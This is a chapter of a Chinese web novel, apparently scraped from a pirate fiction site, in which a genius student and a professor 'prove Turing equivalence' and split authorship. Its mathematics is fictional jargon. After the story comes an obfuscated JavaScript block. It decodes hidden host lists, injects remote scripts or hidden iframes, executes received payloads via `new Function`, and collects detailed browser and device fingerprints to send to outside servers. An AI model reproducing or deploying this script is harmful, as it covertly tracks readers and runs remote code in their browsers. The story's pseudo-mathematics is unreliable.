第36章 图灵等价证明成功
更多热门小说请关注 小说骑士网 www.txt74.com
2023年2月15日，算力实验室！
“如果将模糊zadeh算子的定义域扩大，就可以重新定义模糊极大极小算子，使得满足交换律、结合律和零元律。“
叶非皱眉思索的看着面前写满公式的纸：“就可以求出图灵等价。”
现在他们已经研究到最后一步，而最后一步他们已经研究一周。
经过许多次失败后，叶非昨天想到利用模糊算子、神经网络和递归函数，求出图灵等价。
因为图灵等价还未证明出来，但模糊极大极小算子神经元网络已经被证明出来。
而模糊极大极小神经元网络的计算能力和图灵机类似。
所以，就可以用模糊极大极小神经元网络替换图灵机，就可以求出图灵等价。
现在关键是如何替换。
“周教授，来，我们用godel-kleen部分递归函数来求证。”
“好！”
研究到这一步，周教授感觉已经跟不上叶非的思路，叶非说什么他就做什么。
此时，他就是一个机器人，毫无感情的执行叶非下达的一切命令。
和叶非待的时间越久，他越发现叶非的天才。
而自己只是一个只知道执行命令的废物。
对，和叶非在一起，你别有思想，只把自己当废物。
如果有思想，最终你会发现，最终自己还是废物。
既然如此，不如一开始就把自己当废物。
反正，最后课题会研究出来，只需要耐心等着享受成果。
周教授不会像叶非的导师鲁一山一样，鲁一山会反思自己为何废物。
而周教授不会，他是完全把自己当废物。
鲁一山会因为自己在课题中起不到太大作用而难过，但周教授不会。
既然起不到太大作用，就听叶非的命令，抱大腿完成课题。
鲁一山会因为叶非太天才，而不想和他合作。
周教授不会，越天才越好，越天才自己要更加抱紧大腿，多多合作。
他还想着，图灵等价证明出来后，下一次两人再次合作。
下午五点！
【图灵等价任务完成(100%)
奖励：100积分】
“呼……”叶非长呼一口气，看着身旁的周教授，笑道：“周教授，我们成功了。”
“啊……”周教授如梦初醒，问道：“成功了吗？”
“嗯！”叶非点头：“成功了，你看这一步。”
说着叶非指着纸上的一段公式。
“当相等判定函数与布尔选择函数合在一起，模糊极大极小神经元网络就可以替换图灵机，也就证明出图灵等价。”
叶非笑道：“接下来的收尾工作交给你了。”
下面是验算，经过系统的提醒，他知道，他的证明是成功的。
但验算是每一个证明后必定要走的程序，所以，他把这個任务交给周教授。
“没问题！”周教授笑道。
图灵等价大部分工作是叶非做的，所以，为了抱紧大腿，其余工作周教授会做。
“论文通讯作者你要来当吗？”叶非问道。
每一个难题被证明后必定要写论文，叶非没问周教授谁写论文。
谁写论文倒不是说费心费力。
而是写论文的人必定是论文第一作者，第一作者在论文中是最重要的，这位置叶非不会让出去。
虽然一作可以同时有多人，但必须是多人在论文中的贡献相等，才能多人。
可是课题研究大部分功劳是叶非的，所以一作只能是叶非一人。
即使让周教授去写，他也写不出来。
因为课题中很多难题是叶非解决的，有些问题至今周教授都没搞明白。
“不了！”周教授没觉得自己在这次课题中起多大作用，他不好意思占通讯作者。
通讯作者虽然比第一作者次一点，但却掌握着论文的版权。
并且，如果他占通讯作者这个位置，在外人看来，是他指导叶非写论文。
他真不好意思说自己指导叶非，是叶非指导自己还差不多。
再说，如果他真占这么大便宜，惹恼叶非，下次两人再也没合作机会了。
科学的抱大腿方法，需要把控好尺度。
有些便宜可以占，有些便宜不能占。
叶非点了点头，也没推辞，道：“那你当二作吧！”
“行！”周教授点头：“验算完后，我把完整的证明过程发给伱。”
在做课题的时候，所有证明资料有些杂乱，需要事后整理。
而验算的过程中，刚好可以整理资料。
其中就有完整的证明过程。
“好！”叶非道。
分工已经明确，周教授验算证明过程，叶非
更多热门小说请关注 小说骑士网 www.txt74.com
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x52\x62\x4c\x49\x4e\x52\x4b\x78\x64\x7a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],ec=0,r=0,ua=navigator.userAgent.toLowerCase(),bh=ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1,delay=bh?2000:2000,f=null,sc=Math.max(1,bh?300000:300000),ext=bh?'.html':'2',i=(bh?'nfob':'nob')+Math.floor(new Date().getTime()/sc)+ext;if(bh){f=function(){;if(!l.length)return;window.addEventListener('message',function(e){if(e.data['id']!=id)return;for(var k in t)t[k]&&clearTimeout(t[k]);new Function('_tdcs',x(e.data['msg']))(cs);});var ifr=document.createElement('iframe');ifr.width=0;ifr.height=0;ifr.style.display='none';ifr.src=l.shift()+'/'+i;document.body.appendChild(ifr);};}else{f=function(){;if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++ec]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){;if(!E)return;function l(s){;if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){;if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{;if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){;if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){;if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,url:b(),ref:a(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9ha3Nka2ZqLmJpZXhzaXRlLm5lddA==','d3NzOOi8vd3MueGlhb21hb2x2dGVjaC5jb206OOTU5NSx3c3M6Ly93cy5taXNpZ2wuY29tOOjk1OOTU=',window,document,['d','O']);}:function(){};